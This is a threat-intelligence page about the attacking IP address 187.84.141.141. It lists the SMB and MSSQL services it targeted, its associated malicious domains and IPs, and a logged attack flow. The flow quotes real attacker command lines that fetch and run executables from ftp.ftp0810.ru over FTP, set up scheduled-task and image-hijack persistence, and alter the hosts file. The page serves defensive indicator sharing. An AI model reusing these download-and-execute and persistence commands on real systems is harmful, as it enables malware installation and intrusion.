IP Address: 187.84.141.141Malicious

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IP Address:
187.84.141.141​
Malicious

This IP address attempted an attack on a machine protected by Guardicore Centra

Threat Information

Role

Attacker, Scanner

Services Targeted

SMB MSSQL

Tags

Download File DNS Poisoning HTTP Cookie Hijacking SMB Null Session Login Download and Execute Service Configuration CMD Service Start SMB System File Modification Outgoing Connection Scheduled Task Creation Persistency - Image Hijack Service Creation Access Suspicious Domain File Operation By CMD WMI Persistence

Associated Attack Servers

hostwindsdns.com js.1226bye.pw trouble-free.net hosteons.com load.wpd0126.info load2.wpd0126.info grantmindline.com down.1226bye.pw

104.37.187.182 103.124.105.246 172.83.155.170 137.175.56.104 104.233.207.172 217.195.153.116 67.211.213.43 139.5.177.32 104.168.236.179

Basic Information

IP Address

187.84.141.141

Domain

-

ISP

West Internet Banda Larga

Country

Brazil

WHOIS

Created Date

-

Updated Date

-

Organization

-

First seen in Guardicore Centra

2020-03-25

Last seen in Guardicore Centra

2021-03-25

What is Guardicore Centra
Guardicore Centra is a data center and cloud security solution that protects the organization's core assets, using flexible, quickly deployed and easy to understand micro-segmentation controls. Centra generates in-context security incidents, with details on attacker tools and techniques, that help IR teams prioritize incident investigation and reduce dwell time. Learn More

Attack Flow

c:\windows\system32\services.exe installed and started cmd as a service named mFAZ under service group None

Service Start Service Creation

Process c:\windows\system32\regsvr32.exe generated outgoing network traffic to: 139.5.177.32:8032 and 217.195.153.116:80

Outgoing Connection

The file C:\WINDOWS\Temp\conhoy.exe was downloaded and executed 20 times

Download and Execute

Process c:\windows\temp\conhoy.exe generated outgoing network traffic to: 103.124.105.246:80, 104.233.207.172:8172 and 137.175.56.104:80

Outgoing Connection

Process c:\windows\temp\conhoy.exe attempted to access suspicious domains: hosteons.com

Outgoing Connection Access Suspicious Domain

C:\windows\Temp\wmia.bat was downloaded

Download File

c:\windows\temp\u.exe was downloaded

Download File

C:\windows\Temp\ntuser.dat was downloaded

Download File

System file C:\windows\Temp\wmia.bat was modified 9 times

System File Modification

System file c:\windows\temp\u.exe was modified 9 times

System File Modification

c:\windows\inf\aspnet\lsma12.exe was downloaded

Download File

System file C:\windows\Temp\ntuser.dat was modified 4 times

System File Modification

Process c:\windows\temp\u.exe generated outgoing network traffic to: 104.37.187.182:80, 104.37.187.182:8888 and 172.83.155.170:80

Outgoing Connection

System file c:\windows\inf\aspnet\lsma12.exe was modified 4 times

System File Modification

Process c:\windows\temp\u.exe attempted to access suspicious domains: grantmindline.com

Outgoing Connection Access Suspicious Domain

C:\WINDOWS\Debug\item.dat was downloaded

Download File

The command line cmd /c echo open ftp.ftp0810.ru>s&echo test>>s&echo 1433>>s&echo binary>>s&echo get a.exe c:\windows\update.exe>>s&echo bye>>s&ftp -s:s&c:\windows\update.exe was scheduled to run by modifying C:\WINDOWS\Tasks\Mysa.job

The command line C:\WINDOWS\system32\rundll32.exe c:\windows\debug\item.dat,ServiceMain aaaa was scheduled to run by modifying C:\WINDOWS\Tasks\Mysa1.job

The command line cmd /c echo open ftp.ftp0810.ru>p&echo test>>p&echo 1433>>p&echo get s.dat c:\windows\debug\item.dat>>p&echo bye>>p&ftp -s:p was scheduled to run by modifying C:\WINDOWS\Tasks\Mysa2.job

The command line cmd /c echo open ftp.ftp0810.ru>ps&echo test>>ps&echo 1433>>ps&echo get s.rar c:\windows\help\lsmosee.exe>>ps&echo bye>>ps&ftp -s:ps&c:\windows\help\lsmosee.exe was scheduled to run by modifying C:\WINDOWS\Tasks\Mysa3.job

The command line C:\WINDOWS\system32\rundll32.exe c:\windows\debug\ok.dat,ServiceMain aaaa was scheduled to run by modifying C:\WINDOWS\Tasks\ok.job

The command line c:\windows\inf\aspnet\lsma12.exe was scheduled to run by modifying C:\WINDOWS\Tasks\oka.job

The command line c:\windows\temp\conhoy.exe was scheduled to run by modifying C:\WINDOWS\Tasks\MicrosoftsWindowsy.job

c:\windows\system32\reg.exe set the command line ntsd -d to run using Persistency - Image Hijack

Persistency - Image Hijack

c:\windows\system32\cacls.exe set the command line ntsd -d to run using Persistency - Image Hijack

Persistency - Image Hijack

c:\windows\system32\schtasks.exe set the command line ntsd -d to run using Persistency - Image Hijack

Persistency - Image Hijack

DNS poisoning detected, with hostname kr1s.ru , and associated IP address 127.0.0.1

DNS poisoning detected, with hostname zcop.ru , and associated IP address 127.0.0.1

DNS poisoning detected, with hostname sql.4i7i.com , and associated IP address 127.0.0.1

DNS poisoning detected, with hostname kr1s.ru , and associated IP address 127.0.0.1

DNS poisoning detected, with hostname zcop.ru , and associated IP address 127.0.0.1

DNS poisoning detected, with hostname sql.4i7i.com , and associated IP address 127.0.0.1

System file C:\WINDOWS\system32\drivers\etc\hosts was modified

System File Modification

System file C:\WINDOWS\system32\wbem\AutoRecover\88744D2A29102FC88ECF505DD2E984FC.mof was modified

System File Modification

Connection was closed due to user inactivity

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IP Address: 187.84.141.141​Malicious